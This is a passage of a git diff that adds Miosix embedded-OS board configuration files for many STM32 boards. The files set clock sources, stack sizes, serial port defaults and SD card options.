cpuFrequency=250000000; + +/// Serial port +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +//static const unsigned char sdVoltage=33; //Board powered @ 3.3V +//#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 +//#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32h723zg_nucleo/Makefile.inc b/miosix/config/board/stm32h723zg_nucleo/Makefile.inc new file mode 100644 index 000000000..217e7ca33 --- /dev/null +++ b/miosix/config/board/stm32h723zg_nucleo/Makefile.inc @@ -0,0 +1,7 @@ +## +## Options for board stm32h723zg_nucleo +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld diff --git a/miosix/config/board/stm32h723zg_nucleo/board_settings.h b/miosix/config/board/stm32h723zg_nucleo/board_settings.h new file mode 100644 index 000000000..766b21117 --- /dev/null +++ b/miosix/config/board/stm32h723zg_nucleo/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 550000000, 400000000 +constexpr unsigned int cpuFrequency=550000000; + +/// Serial port +/// This board only exposes USART3, without flow control +/// Serial ports 1 to 11 are available (11 is LPUART1) +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32h753xi_eval/Makefile.inc b/miosix/config/board/stm32h753xi_eval/Makefile.inc new file mode 100644 index 000000000..83da2bf07 --- /dev/null +++ b/miosix/config/board/stm32h753xi_eval/Makefile.inc @@ -0,0 +1,7 @@ +## +## Options for board stm32h753xi_eval +## Included by the board's makefile +## + +## TODO: the board has external ram but no support code for it was written +LINKER_SCRIPT := unikernel.ld diff --git a/miosix/config/board/stm32h753xi_eval/board_settings.h b/miosix/config/board/stm32h753xi_eval/board_settings.h new file mode 100644 index 000000000..3443ee4f4 --- /dev/null +++ b/miosix/config/board/stm32h753xi_eval/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 400000000 +constexpr unsigned int cpuFrequency=400000000; + +/// Serial port +//This board only exposes USART1, without flow control +/// Serial ports 1 to 9 are available (9 is LPUART1) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32h755zi_nucleo/Makefile.inc b/miosix/config/board/stm32h755zi_nucleo/Makefile.inc new file mode 100644 index 000000000..07b994dae --- /dev/null +++ b/miosix/config/board/stm32h755zi_nucleo/Makefile.inc @@ -0,0 +1,11 @@ +## +## Options for board stm32h755zi_nucleo +## Included by the board's makefile +## + +## Linker script type, there are two options +## 1) Code in FLASH, stack + heap in internal RAM (file unikernel.ld) +## 2) Same as 1) but space has been reserved for a process pool, allowing +## to configure the kernel with "#define WITH_PROCESSES" +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32h755zi_nucleo/board_settings.h b/miosix/config/board/stm32h755zi_nucleo/board_settings.h new file mode 100644 index 000000000..08999a674 --- /dev/null +++ b/miosix/config/board/stm32h755zi_nucleo/board_settings.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 400000000 +// While the chip can run up to 480MHz, the board uses the SMPS feature +// that limits clock speed to 400MHz +constexpr unsigned int cpuFrequency=400000000; + +/// Serial port +/// This board only exposes USART3, without flow control +/// Serial ports 1 to 9 are available (9 is LPUART1) +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32l010rb_nucleo/Makefile.inc b/miosix/config/board/stm32l010rb_nucleo/Makefile.inc new file mode 100644 index 000000000..3ed4f13df --- /dev/null +++ b/miosix/config/board/stm32l010rb_nucleo/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32l010rb_nucleo +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32l010rb_nucleo/board_settings.h b/miosix/config/board/stm32l010rb_nucleo/board_settings.h new file mode 100644 index 000000000..c39ed8fcd --- /dev/null +++ b/miosix/config/board/stm32l010rb_nucleo/board_settings.h @@ -0,0 +1,79 @@ +/*************************************************************************** + * Copyright (C) 2017-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32L053 only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 32000000 +constexpr unsigned int cpuFrequency=32000000; + +/// Serial port +/// Serial ports (low power) 1 and 2 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; // Not supported for serial 2 +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32l053r8_nucleo/Makefile.inc b/miosix/config/board/stm32l053r8_nucleo/Makefile.inc new file mode 100644 index 000000000..bfe933f2d --- /dev/null +++ b/miosix/config/board/stm32l053r8_nucleo/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32l053r8_nucleo +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32l053r8_nucleo/board_settings.h b/miosix/config/board/stm32l053r8_nucleo/board_settings.h new file mode 100644 index 000000000..806497e80 --- /dev/null +++ b/miosix/config/board/stm32l053r8_nucleo/board_settings.h @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2017-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32L053 only has 8KB of RAM so the stack is only 1.5KB. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE, HSEBYP, MSI }; +// HSI: High Speed Internal (fixed 16MHz) +// HSE: External quartz Xtal +// HSEBYP: Direct external clock input +// MSI: Medium Speed Internal (configurable, default ~2MHz) +// Supported oscillator types: HSE, HSEBYP +constexpr auto oscillatorType=OscillatorType::HSEBYP; +// External clock is 8Mhz provided from MCO output of ST-LINK. Actual HSE +// crystal (X3) is not fitted. +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 32000000 +constexpr unsigned int cpuFrequency=32000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; // Not supported for serial 2 +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3/LPUART) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32l151c8_als_mainboard/Makefile.inc b/miosix/config/board/stm32l151c8_als_mainboard/Makefile.inc new file mode 100644 index 000000000..343a2b20f --- /dev/null +++ b/miosix/config/board/stm32l151c8_als_mainboard/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32l151c8_als_mainboard +## Included by the board's makefile +## + +## No options diff --git a/miosix/config/board/stm32l151c8_als_mainboard/board_settings.h b/miosix/config/board/stm32l151c8_als_mainboard/board_settings.h new file mode 100644 index 000000000..700319492 --- /dev/null +++ b/miosix/config/board/stm32l151c8_als_mainboard/board_settings.h @@ -0,0 +1,94 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F151C8 has 10KB of RAM so use a small 1.5K stack. +const unsigned int MAIN_STACK_SIZE=1536; + +/// Clock options +enum class OscillatorType { HSI, HSE, HSEBYP, MSI }; +// HSI: High Speed Internal (fixed 16MHz) +// HSE: External quartz Xtal +// HSEBYP: Direct external clock input +// MSI: Medium Speed Internal (configurable, default ~2MHz) +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=0; // no HSE +// Supported clock frequencies: 16000000 +constexpr unsigned int cpuFrequency=16000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; //No DMA to save on code +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32l152re_nucleo/Makefile.inc b/miosix/config/board/stm32l152re_nucleo/Makefile.inc new file mode 100644 index 000000000..cddf0c3cd --- /dev/null +++ b/miosix/config/board/stm32l152re_nucleo/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32l152re_nucleo +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32l152re_nucleo/board_settings.h b/miosix/config/board/stm32l152re_nucleo/board_settings.h new file mode 100644 index 000000000..348117404 --- /dev/null +++ b/miosix/config/board/stm32l152re_nucleo/board_settings.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) and the +/// STM32L152RE has 80KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=1536; + +/// Clock options +enum class OscillatorType { HSI, HSE, HSEBYP, MSI }; +// HSI: High Speed Internal (fixed 16MHz) +// HSE: External quartz Xtal +// HSEBYP: Direct external clock input +// MSI: Medium Speed Internal (configurable, default ~2MHz) +// Supported oscillator types: HSE, HSEBYP +constexpr auto oscillatorType=OscillatorType::HSEBYP; +// External clock is 8Mhz provided from MCO output of ST-LINK. Actual HSE +// crystal (X3) is not fitted. +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000, 32000000 +constexpr unsigned int cpuFrequency=32000000; + +/// Serial port +/// Serial ports 1 to 5 are available +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32l476rg_nucleo/Makefile.inc b/miosix/config/board/stm32l476rg_nucleo/Makefile.inc new file mode 100644 index 000000000..eb19fa5e0 --- /dev/null +++ b/miosix/config/board/stm32l476rg_nucleo/Makefile.inc @@ -0,0 +1,11 @@ +## +## Options for board stm32l476rg_nucleo +## Included by the board's makefile +## + +## Select linker script +# Option 1: use the 96KB ram2 for the heap, no processes +LINKER_SCRIPT := unikernel.ld + +# Option 2: use the 96KB ram2 for the process pool +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32l476rg_nucleo/board_settings.h b/miosix/config/board/stm32l476rg_nucleo/board_settings.h new file mode 100644 index 000000000..c829a2297 --- /dev/null +++ b/miosix/config/board/stm32l476rg_nucleo/board_settings.h @@ -0,0 +1,91 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE, MSI }; +// Supported oscillator types: HSI, HSE, MSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000, 36000000, 48000000, 72000000, 80000000 +// Note: at 80Mhz SDIO and RNG run at the wrong speed and USB will not work +// because the PLL will run at 40MHz instead of 48MHz +constexpr unsigned int cpuFrequency=80000000; + +/// Serial port +/// Serial ports 1 to 5 are available +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32l4r9zi_sensortile/Makefile.inc b/miosix/config/board/stm32l4r9zi_sensortile/Makefile.inc new file mode 100644 index 000000000..580fb2ac9 --- /dev/null +++ b/miosix/config/board/stm32l4r9zi_sensortile/Makefile.inc @@ -0,0 +1,11 @@ +## +## Options for board stm32l4r9zi_sensortile +## Included by the board's makefile +## + +## Linker script type, there are two options +## 1) Code in FLASH, stack + heap in internal RAM (file unikernel.ld) +## 2) Same as 1) but space has been reserved for a process pool, allowing +## to configure the kernel with "#define WITH_PROCESSES" +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32l4r9zi_sensortile/board_settings.h b/miosix/config/board/stm32l4r9zi_sensortile/board_settings.h new file mode 100644 index 000000000..85183cf6e --- /dev/null +++ b/miosix/config/board/stm32l4r9zi_sensortile/board_settings.h @@ -0,0 +1,93 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) and the +/// STM32L4R9 has 640KB of RAM -- which is notoriously enough for everybody -- +/// so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class 